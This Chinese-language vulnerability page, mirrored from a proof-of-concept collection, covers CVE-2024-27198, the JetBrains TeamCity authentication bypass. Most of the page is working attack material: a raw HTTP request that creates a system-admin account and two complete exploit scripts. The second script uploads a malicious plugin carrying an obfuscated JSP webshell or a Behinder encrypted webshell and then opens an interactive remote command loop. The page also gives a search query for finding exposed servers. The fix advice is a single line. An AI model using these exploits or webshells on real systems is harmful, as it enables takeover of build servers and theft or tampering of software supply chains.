mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
590 lines
27 KiB
Markdown
590 lines
27 KiB
Markdown
# JetBrains TeamCity 身份验证绕过漏洞 CVE-2024-27198
|
||
|
||
## 漏洞描述
|
||
|
||
TeamCity 是 JetBrains 开发的功能强大的持续集成和持续部署(CI/CD)服务器,支持包括 Java、C#、C/C++、PL/SQL、Cobol 等二十几种编程语言的代码质量管理与检测。
|
||
|
||
CVE-2024-27198 漏洞存在于 JetBrains TeamCity 中,是一个身份验证绕过漏洞。该漏洞可能使未经身份验证的攻击者能够通过 HTTP(S) 访问 TeamCity 服务器来绕过身份验证检查并获得对该 TeamCity 服务器的管理控制。
|
||
|
||
参考链接:
|
||
|
||
- https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
|
||
- https://github.com/yoryio/CVE-2024-27198
|
||
- https://github.com/W01fh4cker/CVE-2024-27198-RCE
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
JetBrains TeamCity < 2023.11.4
|
||
```
|
||
|
||
## 网络测绘
|
||
|
||
```
|
||
app="JET_BRAINS-TeamCity"
|
||
```
|
||
|
||
## 环境搭建
|
||
|
||
执行如下命令启动一个 TeamCity 2023.11.3 服务器:
|
||
|
||
```
|
||
docker pull jetbrains/teamcity-server:2023.11.3
|
||
docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
|
||
```
|
||
|
||
服务启动后,需要打开 `http://your-ip:8111/` 并执行一系列初始化操作,创建一个管理员账户。
|
||
|
||

|
||
|
||
## 漏洞复现
|
||
|
||
直接使用 [poc](https://github.com/yoryio/CVE-2024-27198) 创建一个新用户:
|
||
|
||
```
|
||
> python CVE-2024-27198.py -t http://your-ip:8111/ -u userthr33 -p passthr33
|
||
[+] Version Found: 2023.11.3 (build 147512)
|
||
[+] Server vulnerable, returning HTTP 200
|
||
[+] New user userthr33 created succesfully! Go to http://your-ip:8111//login.html to login with your new credentials :)
|
||
```
|
||
|
||

|
||
|
||
使用创建的账号 `userthr33/passthr33` 登录:
|
||
|
||

|
||
|
||
或者手动发包:
|
||
|
||
```
|
||
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
|
||
Host: your-ip:8111
|
||
x-teamcity-client: Web UI
|
||
x-requested-with: XMLHttpRequest
|
||
Referer: http://your-ip:8111/profile.html
|
||
x-tc-csrf-token: a1f58037-7d9e-4934-9243-089e213c15e2
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
||
Content-Type: application/json
|
||
Content-Length: 161
|
||
|
||
{
|
||
"username": "userthr331",
|
||
"password": "passthr331",
|
||
"email": "userthr331@npc.com",
|
||
"roles": { "role": [{ "roleId": "SYSTEM_ADMIN", "scope": "g" }] }
|
||
}
|
||
```
|
||
|
||

|
||
|
||
使用创建的账号 `userthr331/passthr331` 登录:
|
||
|
||

|
||
|
||
## 漏洞 POC
|
||
|
||
[CVE-2024-27198.py](https://github.com/yoryio/CVE-2024-27198)
|
||
|
||
```python
|
||
import requests
|
||
import urllib3
|
||
import argparse
|
||
import re
|
||
urllib3.disable_warnings()
|
||
|
||
parser = argparse.ArgumentParser()
|
||
parser.add_argument("-t", "--target",required=True, help="Target TeamCity Server URL")
|
||
parser.add_argument("-u", "--username", required=True,help="Insert username for the new user")
|
||
parser.add_argument("-p", "--password",required=True, help="Insert password for the new user")
|
||
args = parser.parse_args()
|
||
|
||
vulnerable_endpoint = "/pwned?jsp=/app/rest/users;.jsp" # Attacker’s path to exploit CVE-2024-27198, please refer to the Rapid7's blogpost for more information
|
||
|
||
def check_version():
|
||
response = requests.get(args.target+"/login.html", verify=False)
|
||
repattern = r'<span class="vWord">Version</span>(.+?)</span>' # Regex pattern to extract the TeamCity version number
|
||
try:
|
||
version = re.findall(repattern, response.text)[0]
|
||
print("[+] Version Found:", version)
|
||
except:
|
||
print("[-] Version not found")
|
||
|
||
def exploit():
|
||
response = requests.get(args.target+vulnerable_endpoint, verify=False, timeout=10)
|
||
http_code = response.status_code
|
||
if http_code == 200:
|
||
print("[+] Server vulnerable, returning HTTP", http_code) # HTTP 200 Status code is needed to confirm if the TeamCity Server is vulnerable to the auth bypass vuln
|
||
create_user = {
|
||
"username": args.username,
|
||
"password": args.password,
|
||
"email": f"{args.username}@mydomain.com",
|
||
"roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}, # Given admin permissions to your new user, basically you can have complete control of this TeamCity Server
|
||
}
|
||
headers = {"Content-Type": "application/json"}
|
||
create_user = requests.post(args.target+vulnerable_endpoint, json=create_user, headers=headers, verify=False) # POST request to create the new user with admin privileges
|
||
if create_user.status_code == 200:
|
||
print("[+] New user", args.username, "created succesfully! Go to", args.target+"/login.html to login with your new credentials :)")
|
||
else:
|
||
print("[-] Error while creating new user")
|
||
|
||
else:
|
||
print("[-] Probable not vulnerable, returning HTTP", http_code)
|
||
|
||
check_version()
|
||
exploit()
|
||
```
|
||
|
||
[CVE-2024-27198-RCE.py](https://github.com/W01fh4cker/CVE-2024-27198-RCE)
|
||
|
||
```python
|
||
import re
|
||
import sys
|
||
import string
|
||
import random
|
||
import time
|
||
import zipfile
|
||
import urllib3
|
||
import requests
|
||
import argparse
|
||
from faker import Faker
|
||
import xml.etree.ElementTree as ET
|
||
from urllib.parse import quote_plus
|
||
|
||
urllib3.disable_warnings()
|
||
token_name = "".join(random.choices(string.ascii_letters + string.digits, k=10))
|
||
GREEN = "\033[92m"
|
||
RESET = "\033[0m"
|
||
session = requests.Session()
|
||
|
||
def GetTeamCityVersion(target):
|
||
get_teamcity_version_url = target + "/hax?jsp=/app/rest/server;.jsp"
|
||
get_teamcity_version_headers = {
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
|
||
}
|
||
get_teamcity_version_response = session.get(url=get_teamcity_version_url, headers=get_teamcity_version_headers,
|
||
proxies=proxy, verify=False, allow_redirects=False, timeout=600)
|
||
root = ET.fromstring(get_teamcity_version_response.text)
|
||
teamcity_version = root.attrib.get("version")
|
||
return teamcity_version
|
||
|
||
def GetOSName(target):
|
||
get_os_name_url = target + "/hax?jsp=/app/rest/debug/jvm/systemProperties;.jsp"
|
||
get_os_name_headers = {
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
|
||
}
|
||
get_os_name_response = session.get(url=get_os_name_url, headers=get_os_name_headers, proxies=proxy, verify=False,
|
||
allow_redirects=False, timeout=600)
|
||
root = ET.fromstring(get_os_name_response.text)
|
||
teamcity_info = {
|
||
"arch": root.find(".//property[@name='os.arch']").get("value"),
|
||
"name": root.find(".//property[@name='os.name']").get("value")
|
||
}
|
||
return teamcity_info["name"].lower()
|
||
|
||
def GetUserID(response_text):
|
||
try:
|
||
root = ET.fromstring(response_text)
|
||
user_info = {
|
||
"username": root.attrib.get("username"),
|
||
"id": root.attrib.get("id"),
|
||
"email": root.attrib.get("email"),
|
||
}
|
||
return user_info["id"]
|
||
except ET.ParseError as err:
|
||
print(f"[-] Failed to parse user XML response: {err}", "!")
|
||
return None
|
||
|
||
def GetOSVersion(target):
|
||
try:
|
||
get_os_name_url = target + "/hax?jsp=/app/rest/debug/jvm/systemProperties;.jsp"
|
||
get_os_name_headers = {
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
|
||
}
|
||
get_os_name_response = session.get(url=get_os_name_url, headers=get_os_name_headers,
|
||
proxies=proxy, verify=False, allow_redirects=False, timeout=600)
|
||
root = ET.fromstring(get_os_name_response.text)
|
||
teamcity_info = {
|
||
"arch": root.find(".//property[@name='os.arch']").get("value"),
|
||
"name": root.find(".//property[@name='os.name']").get("value")
|
||
}
|
||
return teamcity_info["name"].lower()
|
||
except Exception as err:
|
||
print("[-] Unable to obtain operating system version, please try manual exploitation.")
|
||
print("[-] Error in func <GetOSVersion>, error message: " + str(err))
|
||
|
||
def GenerateRandomString(length):
|
||
characters = string.ascii_letters + string.digits
|
||
return "".join(random.choices(characters, k=length))
|
||
|
||
def GetEvilPluginZipFile(shell_file_content, plugin_name):
|
||
fake_info = Faker(languages=["en"])
|
||
zip_resources = zipfile.ZipFile(f"{plugin_name}.jar", "w")
|
||
if shell_file_content == "":
|
||
evil_plugin_jsp = r"""<%@ page pageEncoding="utf-8"%>
|
||
<%@ page import="java.util.Scanner" %>
|
||
<%
|
||
String op="";
|
||
String query = request.getParameter("cmd");
|
||
String fileSeparator = String.valueOf(java.io.File.separatorChar);
|
||
Boolean isWin;
|
||
if(fileSeparator.equals("\\")){
|
||
isWin = true;
|
||
}else{
|
||
isWin = false;
|
||
}
|
||
if (query != null) {
|
||
ProcessBuilder pb;
|
||
if(isWin) {
|
||
pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
|
||
}else{
|
||
pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
|
||
}
|
||
Process process = pb.start();
|
||
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
|
||
op = sc.hasNext() ? sc.next() : op;
|
||
sc.close();
|
||
}
|
||
%>
|
||
<%= op %>
|
||
"""
|
||
else:
|
||
evil_plugin_jsp = shell_file_content
|
||
evil_plugin_xml = f"""<?xml version="1.0" encoding="UTF-8"?>
|
||
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
|
||
<info>
|
||
<name>{plugin_name}</name>
|
||
<display-name>{plugin_name}</display-name>
|
||
<description>{fake_info.sentence()}</description>
|
||
<version>1.0</version>
|
||
<vendor>
|
||
<name>{fake_info.company()}</name>
|
||
<url>{fake_info.url()}</url>
|
||
</vendor>
|
||
</info>
|
||
<deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
|
||
</teamcity-plugin>"""
|
||
zip_resources.writestr(f"buildServerResources/{plugin_name}.jsp", evil_plugin_jsp)
|
||
zip_resources.close()
|
||
zip_plugin = zipfile.ZipFile(f"{plugin_name}.zip", "w")
|
||
zip_plugin.write(filename=f"{plugin_name}.jar", arcname=f"server/{plugin_name}.jar")
|
||
zip_plugin.writestr("teamcity-plugin.xml", evil_plugin_xml)
|
||
zip_plugin.close()
|
||
|
||
def GetPluginInfoJson(target, token):
|
||
try:
|
||
load_evil_plugin_url = target + "/admin/admin.html?item=plugins"
|
||
load_evil_plugin_headers = {
|
||
"Authorization": f"Bearer {token}",
|
||
"Content-Type": "Content-Type: application/x-www-form-urlencoded",
|
||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
|
||
}
|
||
load_evil_plugin_response = session.get(url=load_evil_plugin_url, headers=load_evil_plugin_headers, proxies=proxy, verify=False,
|
||
allow_redirects=False, timeout=600)
|
||
register_plugin_pattern = r"BS\.Plugins\.registerPlugin\('([^']*)', '[^']*',[^,]*,[^,]*,\s*'([^']*)'\);"
|
||
plugin_info_json = {}
|
||
register_plugin_matches = re.findall(register_plugin_pattern, load_evil_plugin_response.text)
|
||
for register_plugin_match in register_plugin_matches:
|
||
plugin_name_ = register_plugin_match[0]
|
||
uuid = register_plugin_match[1]
|
||
plugin_info_json[plugin_name_] = uuid
|
||
return plugin_info_json
|
||
except:
|
||
return None
|
||
|
||
def GetCSRFToken(target, token):
|
||
get_csrf_token_url = target + "/authenticationTest.html?csrf"
|
||
get_csrf_token_headers = {
|
||
"Authorization": f"Bearer {token}",
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
|
||
}
|
||
get_csrf_token_response = session.post(url=get_csrf_token_url, headers=get_csrf_token_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
|
||
if get_csrf_token_response.status_code == 200:
|
||
return get_csrf_token_response.text
|
||
else:
|
||
return None
|
||
|
||
def LoadEvilPlugin(target, plugin_name, token):
|
||
plugin_info_json = GetPluginInfoJson(target, token)
|
||
if not plugin_info_json.get(plugin_name):
|
||
print("[-] The plugin just uploaded cannot be obtained. It may have been deleted by the administrator or AV or EDR")
|
||
sys.exit(0)
|
||
try:
|
||
load_evil_plugin_url = target + "/admin/plugins.html"
|
||
load_evil_plugin_headers = {
|
||
"Authorization": f"Bearer {token}",
|
||
"Content-Type": "application/x-www-form-urlencoded",
|
||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
|
||
}
|
||
load_evil_plugin_data = f"enabled=true&action=setEnabled&uuid={plugin_info_json[plugin_name]}"
|
||
load_evil_plugin_response = session.post(url=load_evil_plugin_url, headers=load_evil_plugin_headers, data=load_evil_plugin_data, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
|
||
if load_evil_plugin_response.status_code == 200 and ("<response>Plugin loaded successfully</response>" in load_evil_plugin_response.text or "is already loaded</response>" in load_evil_plugin_response.text):
|
||
print(f"[+] Successfully load plugin {GREEN}{plugin_name}{RESET}")
|
||
return True
|
||
else:
|
||
print(f"[-] Failed to load plugin {GREEN}{plugin_name}{RESET}")
|
||
return False
|
||
except:
|
||
return False
|
||
|
||
def UploadEvilPlugin(target, plugin_name, token):
|
||
try:
|
||
upload_evil_plugin_url = target + "/admin/pluginUpload.html"
|
||
upload_evil_plugin_header = {
|
||
"Authorization": f"Bearer {token}",
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
|
||
}
|
||
files = {
|
||
"fileName": (None, f"{plugin_name}.zip"),
|
||
"file:fileToUpload": (f"{plugin_name}.zip", open(f"{plugin_name}.zip", "rb").read(), "application/zip")
|
||
}
|
||
session.cookies.clear()
|
||
upload_evil_plugin_response = session.post(url=upload_evil_plugin_url, files=files,
|
||
headers=upload_evil_plugin_header, proxies=proxy, verify=False,
|
||
allow_redirects=False, timeout=600)
|
||
if upload_evil_plugin_response.status_code == 200:
|
||
return True
|
||
else:
|
||
return False
|
||
except Exception as e:
|
||
print(e)
|
||
return False
|
||
|
||
def ExecuteCommandByDebugEndpoint(target, os_version, command, token):
|
||
try:
|
||
command_encoded = quote_plus(command)
|
||
if os_version == "linux":
|
||
exec_cmd_url = target + f"/app/rest/debug/processes?exePath=/bin/sh¶ms=-c¶ms={command_encoded}"
|
||
else:
|
||
exec_cmd_url = target + f"/app/rest/debug/processes?exePath=cmd.exe¶ms=/c¶ms={command_encoded}"
|
||
exec_cmd_headers = {
|
||
"Authorization": f"Bearer {token}",
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
|
||
}
|
||
exec_cmd_response = session.post(url=exec_cmd_url, headers=exec_cmd_headers, proxies=proxy, verify=False,
|
||
allow_redirects=False, timeout=600)
|
||
pattern = re.compile(r"StdOut:(.*?)StdErr:(.*?)$", re.DOTALL)
|
||
match = re.search(pattern, exec_cmd_response.text)
|
||
if match:
|
||
stdout_content = match.group(1).strip()
|
||
if stdout_content == "":
|
||
stderr_content = match.group(2).strip()
|
||
print(stderr_content.split("\n\n")[0])
|
||
else:
|
||
print(stdout_content)
|
||
else:
|
||
print("[-] Match failed. Response text: \n" + exec_cmd_response.text)
|
||
except Exception as err:
|
||
print("[-] Error in func <ExecuteCommand>, error message: " + str(err))
|
||
|
||
def ExecuteCommandByEvilPlugin(shell_url, command, token):
|
||
try:
|
||
command_encoded = quote_plus(command)
|
||
exec_cmd_headers = {
|
||
"Authorization": f"Bearer {token}",
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
|
||
"Content-Type": "application/x-www-form-urlencoded"
|
||
}
|
||
exec_cmd_response = session.post(url=shell_url, headers=exec_cmd_headers, proxies=proxy, data=f"cmd={command_encoded}", verify=False, allow_redirects=False, timeout=600)
|
||
if exec_cmd_response.status_code == 200:
|
||
print(exec_cmd_response.text.strip())
|
||
else:
|
||
print(f"[-] Response Code: {exec_cmd_response.status_code}, Response text: {exec_cmd_response.text}\n")
|
||
except Exception as err:
|
||
print("[-] Error in func <ExecuteCommand>, error message: " + str(err))
|
||
|
||
|
||
def AddUser(target, username, password, domain):
|
||
add_user_url = target + "/hax?jsp=/app/rest/users;.jsp"
|
||
add_user_headers = {
|
||
"Content-Type": "application/json",
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
|
||
}
|
||
add_user_data = {
|
||
"username": f"{username}",
|
||
"password": f"{password}",
|
||
"email": f"{username}@{domain}",
|
||
"roles": {
|
||
"role": [
|
||
{
|
||
"roleId": "SYSTEM_ADMIN",
|
||
"scope": "g"
|
||
}
|
||
]
|
||
}
|
||
}
|
||
try:
|
||
add_user_response = session.post(url=add_user_url, json=add_user_data, headers=add_user_headers, proxies=proxy,
|
||
verify=False, allow_redirects=False, timeout=600)
|
||
user_id = GetUserID(add_user_response.text)
|
||
if add_user_response.status_code == 200 and user_id is not None:
|
||
print(f"[+] User added successfully, username: {GREEN}{username}{RESET}, password: {GREEN}{password}{RESET}, user ID: {GREEN}{user_id}{RESET}")
|
||
return user_id
|
||
else:
|
||
print(f"[-] Failed to add user, there is no vulnerability in {target}")
|
||
sys.exit(0)
|
||
except Exception as err:
|
||
print("[-] Error in func <AddUser>, error message: " + str(err))
|
||
sys.exit(0)
|
||
|
||
|
||
def GetToken(target, user_id):
|
||
exploit_url = target + f"/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp"
|
||
exploit_headers = {
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
|
||
}
|
||
try:
|
||
exploit_response = session.post(url=exploit_url, headers=exploit_headers, proxies=proxy, verify=False,
|
||
allow_redirects=False, timeout=600)
|
||
root = ET.fromstring(exploit_response.text)
|
||
token_info = {
|
||
"name": root.attrib.get("name"),
|
||
"value": root.attrib.get("value"),
|
||
"creationTime": root.attrib.get("creationTime"),
|
||
}
|
||
return token_info["value"]
|
||
except Exception as err:
|
||
print(f"[-] Failed to parse token XML response")
|
||
print("[-] Error in func <GetToken>, error message: " + str(err))
|
||
|
||
|
||
def ParseArguments():
|
||
banner = r"""
|
||
_____ ____ _ _ ____ ____ _____
|
||
|_ _|__ __ _ _ __ ___ / ___(_) |_ _ _ | _ \ / ___| ____|
|
||
| |/ _ \/ _` | '_ ` _ \| | | | __| | | | | |_) | | | _|
|
||
| | __/ (_| | | | | | | |___| | |_| |_| | | _ <| |___| |___
|
||
|_|\___|\__,_|_| |_| |_|\____|_|\__|\__, | |_| \_\\____|_____|
|
||
|___/
|
||
Author: @W01fh4cker
|
||
Github: https://github.com/W01fh4cker
|
||
"""
|
||
print(banner)
|
||
parser = argparse.ArgumentParser(
|
||
description="CVE-2024-27198 & CVE-2024-27199 Authentication Bypass --> RCE in JetBrains TeamCity Pre-2023.11.4")
|
||
parser.add_argument("-u", "--username", type=str,
|
||
help="username you want to add. If left blank, it will be randomly generated.", required=False)
|
||
parser.add_argument("-p", "--password", type=str,
|
||
help="password you want to add. If left blank, it will be randomly generated.", required=False)
|
||
parser.add_argument("-t", "--target", type=str, help="target url", required=True)
|
||
parser.add_argument("-d", "--domain", type=str, default="example.com", help="The domain name of the email address",
|
||
required=False)
|
||
parser.add_argument("-f", "--file", type=str, help="The shell that you want to upload", required=False)
|
||
parser.add_argument("--proxy", type=str, help="eg: http://127.0.0.1:8080", required=False)
|
||
parser.add_argument("--behinder4", help="Upload the webshell of Behinder 4.0 [https://github.com/rebeyond/Behinder], the protocol is default_xor_base64", required=False, action="store_true")
|
||
return parser.parse_args()
|
||
|
||
|
||
if __name__ == "__main__":
|
||
args = ParseArguments()
|
||
if not args.username:
|
||
username = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
|
||
else:
|
||
username = args.username
|
||
if not args.password:
|
||
password = "".join(random.choices(string.ascii_letters + string.digits, k=10))
|
||
else:
|
||
password = args.password
|
||
if not args.proxy:
|
||
proxy = {}
|
||
else:
|
||
proxy = {
|
||
"http": args.proxy,
|
||
"https": args.proxy
|
||
}
|
||
if args.file:
|
||
shell_content = open(args.file, "r", encoding="utf-8").read()
|
||
elif args.behinder4:
|
||
shell_content = r"""<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
|
||
<%!
|
||
private byte[] Decrypt(byte[] data) throws Exception
|
||
{
|
||
byte[] decodebs;
|
||
Class baseCls ;
|
||
try{
|
||
baseCls=Class.forName("java.util.Base64");
|
||
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
|
||
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
|
||
}
|
||
catch (Throwable e)
|
||
{
|
||
baseCls = Class.forName("sun.misc.BASE64Decoder");
|
||
Object Decoder=baseCls.newInstance();
|
||
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
|
||
|
||
}
|
||
String key="e45e329feb5d925b";
|
||
for (int i = 0; i < decodebs.length; i++) {
|
||
decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
|
||
}
|
||
return decodebs;
|
||
}
|
||
%>
|
||
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
|
||
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
|
||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||
byte[] buf = new byte[512];
|
||
int length=request.getInputStream().read(buf);
|
||
while (length>0)
|
||
{
|
||
byte[] data= Arrays.copyOfRange(buf,0,length);
|
||
bos.write(data);
|
||
length=request.getInputStream().read(buf);
|
||
}
|
||
out.clear();
|
||
out=pageContext.pushBody();
|
||
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
|
||
%>"""
|
||
else:
|
||
shell_content = ""
|
||
target = args.target.rstrip("/")
|
||
teamcity_version = GetTeamCityVersion(target)
|
||
plugin_name = GenerateRandomString(8)
|
||
user_id = AddUser(target=target, username=username, password=password, domain=args.domain)
|
||
token = GetToken(target, user_id)
|
||
csrf_token = GetCSRFToken(target, token)
|
||
session.headers.update({"X-TC-CSRF-Token": csrf_token})
|
||
os_version = GetOSVersion(target)
|
||
print(f"[+] The target operating system version is {GREEN}{os_version}{RESET}")
|
||
if "2023.11." in teamcity_version.split(" ")[0]:
|
||
print(f"[!] The current version is: {teamcity_version}. The official has deleted the /app/rest/debug/processes port. You can only upload a malicious plugin to upload webshell and cause RCE.")
|
||
continue_code = input("[!] The program will automatically upload the webshell ofbehinder3.0. You can also specify the file to be uploaded through the parameter -f. Do you wish to continue? (y/n)")
|
||
if continue_code.lower() != "y":
|
||
sys.exit(0)
|
||
else:
|
||
GetEvilPluginZipFile(shell_content, plugin_name)
|
||
if UploadEvilPlugin(target, plugin_name, token):
|
||
print(f"[+] The malicious plugin {GREEN}{plugin_name}{RESET} was successfully uploaded and is trying to be activated")
|
||
if LoadEvilPlugin(target, plugin_name, token):
|
||
shell_url = f"{target}/plugins/{plugin_name}/{plugin_name}.jsp"
|
||
print(f"[+] The malicious plugin {GREEN}{plugin_name}{RESET} was successfully activated! Webshell url: {GREEN}{shell_url}{RESET}")
|
||
if args.behinder4:
|
||
print(f"[+] Behinder4.0 Custom headers: \n{GREEN}X-TC-CSRF-Token: {csrf_token}\nAuthorization: Bearer {token}{RESET}")
|
||
print(f"[+] Behinder4.0 transmission protocol: {GREEN}default_xor_base64{RESET}")
|
||
if not args.file and not args.behinder4:
|
||
print("[+] Please start executing commands freely! Type <quit> to end command execution")
|
||
while True:
|
||
command = input(f"{GREEN}command > {RESET}")
|
||
if command == "quit":
|
||
sys.exit(0)
|
||
ExecuteCommandByEvilPlugin(shell_url, command, token)
|
||
else:
|
||
print(f"[-] Malicious plugin {GREEN}{plugin_name}{RESET} activation failed")
|
||
else:
|
||
print(f"[-] Malicious plugin {GREEN}{plugin_name}{RESET} upload failed")
|
||
else:
|
||
print("[+] Please start executing commands freely! Type <quit> to end command execution")
|
||
while True:
|
||
command = input(f"{GREEN}command > {RESET}")
|
||
if command == "quit":
|
||
sys.exit(0)
|
||
ExecuteCommandByDebugEndpoint(target, os_version, command, token)
|
||
```
|
||
|
||
## 漏洞修复
|
||
|
||
### 通用修补建议
|
||
|
||
根据 `影响版本` 中的信息,排查并升级到 `安全版本`,或直接访问参考链接获取官方更新指南。
|